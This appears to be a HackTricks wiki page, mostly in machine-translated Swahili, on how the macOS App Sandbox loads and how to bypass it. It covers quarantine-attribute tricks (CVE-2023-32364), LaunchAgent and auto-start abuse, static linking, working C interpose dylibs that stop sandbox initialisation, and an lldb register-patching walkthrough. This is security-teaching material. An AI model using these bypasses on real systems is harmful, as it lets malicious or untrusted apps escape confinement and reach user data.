macOS Sandbox Debug & Bypass

Support HackTricks

Sandbox loading process

Katika picha iliyopita inawezekana kuona jinsi sandbox itakavyopakiwa wakati programu yenye haki com.apple.security.app-sandbox inapoendeshwa.

Mwandiko utaunganisha /usr/lib/libSystem.B.dylib na binary.

Kisha, libSystem.B itakuwa ikitafuta kazi nyingine kadhaa hadi xpc_pipe_routine itume haki za programu kwa securityd. Securityd inakagua kama mchakato unapaswa kuwa karantini ndani ya Sandbox, na ikiwa ndivyo, itakuwa karantini. Hatimaye, sandbox itazinduliwa kwa wito wa __sandbox_ms ambayo itaita __mac_syscall.

Possible Bypasses

Bypassing quarantine attribute

Faili zinazoundwa na michakato ya sandboxed zinaongezwa sifa ya karantini ili kuzuia kutoroka kwa sandbox. Hata hivyo, ikiwa utaweza kuunda folda ya .app bila sifa ya karantini ndani ya programu ya sandboxed, unaweza kufanya bundle ya programu ikielekeze kwenye /bin/bash na kuongeza baadhi ya mabadiliko ya mazingira katika plist ili kutumia open kuanzisha programu mpya bila sandbox.

Hii ndiyo iliyofanywa katika CVE-2023-32364.

Hivyo, kwa sasa, ikiwa una uwezo wa kuunda folda yenye jina linalomalizika na .app bila sifa ya karantini, unaweza kutoroka sandbox kwa sababu macOS inachunguza tu sifa ya karantini katika folda ya .app na katika executable kuu (na tutaimarisha executable kuu kwa /bin/bash).

Kumbuka kwamba ikiwa bundle ya .app tayari imeidhinishwa kuendesha (ina sifa ya karantini na bendera ya kuidhinishwa kuendesha), unaweza pia kuitumia... isipokuwa sasa huwezi kuandika ndani ya .app bundles isipokuwa una baadhi ya ruhusa za TCC zenye mamlaka (ambazo huna ndani ya sandbox ya juu).

Abusing Open functionality

Katika mfano wa mwisho wa kutoroka sandbox ya Word inaweza kuonekana jinsi open cli functionality inaweza kutumiwa vibaya ili kutoroka sandbox.

macOS Office Sandbox Bypasses

Launch Agents/Daemons

Hata kama programu ime kusudiwa kuwa sandboxed (com.apple.security.app-sandbox), inawezekana kufanya kutoroka sandbox ikiwa inatekelezwa kutoka kwa LaunchAgent (~/Library/LaunchAgents) kwa mfano. Kama ilivyoelezwa katika hiki chapisho, ikiwa unataka kupata kudumu na programu ambayo inasandboxed unaweza kufanya iwetekelezwe kiotomatiki kama LaunchAgent na labda kuingiza msimbo mbaya kupitia mabadiliko ya mazingira ya DyLib.

Abusing Auto Start Locations

Ikiwa mchakato wa sandboxed unaweza kuandika mahali ambapo baadaye programu isiyo na sandbox itakayoendesha binary, itakuwa na uwezo wa kutoroka kwa kuweka hapo binary. Mfano mzuri wa aina hii ya maeneo ni ~/Library/LaunchAgents au /System/Library/LaunchDaemons.

Kwa hili unaweza hata kuhitaji hatua 2: Kufanya mchakato wenye sandbox yenye ruhusa zaidi (file-read*, file-write*) kutekeleza msimbo wako ambao kwa kweli utaandika mahali ambapo itatekelezwa bila sandbox.

Angalia ukurasa huu kuhusu Auto Start locations:

macOS Auto Start

Abusing other processes

Ikiwa kutoka kwa mchakato wa sandbox unaweza kuathiri michakato mingine inayofanya kazi katika sandboxes zisizo na vizuizi (au hakuna), utaweza kutoroka kwenye sandboxes zao:

macOS Process Abuse

Static Compiling & Dynamically linking

Utafiti huu uligundua njia 2 za kutoroka Sandbox. Kwa sababu sandbox inatumika kutoka userland wakati maktaba ya libSystem inapopakiwa. Ikiwa binary inaweza kuepuka kupakia, haitakuwa na sandbox kamwe:

  • Ikiwa binary ilikuwa imeandikwa kwa njia ya static kabisa, inaweza kuepuka kupakia maktaba hiyo.

  • Ikiwa binary haitahitaji kupakia maktaba yoyote (kwa sababu linker pia yuko katika libSystem), haitahitaji kupakia libSystem.

Shellcodes

Kumbuka kwamba hata shellcodes katika ARM64 zinahitaji kuunganishwa katika libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Entitlements

Kumbuka kwamba hata kama baadhi ya vitendo vinaweza kuwa vinavyoruhusiwa na sanduku ikiwa programu ina entitlement maalum, kama ilivyo katika:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

Kwa maelezo zaidi kuhusu Interposting angalia:

macOS Function Hooking

Interpost _libsecinit_initializer kuzuia sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interpost __mac_syscall ili kuzuia Sandbox

interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Debug & bypass Sandbox with lldb

Tukutane na programu ambayo inapaswa kuwekwa kwenye sandbox:

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

Kisha jenga programu:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

App itajaribu kusoma faili ~/Desktop/del.txt, ambayo Sandbox haitaruhusu. Unda faili hapo kwani mara Sandbox itakapovukwa, itakuwa na uwezo wa kuisoma:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

Hebu tuangalie programu ili kuona wakati Sandbox inapo load:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

Hata kama Sandbox imeepukwa TCC itauliza mtumiaji kama anataka kuruhusu mchakato kusoma faili kutoka kwenye desktop

Marejeo

Support HackTricks

Last updated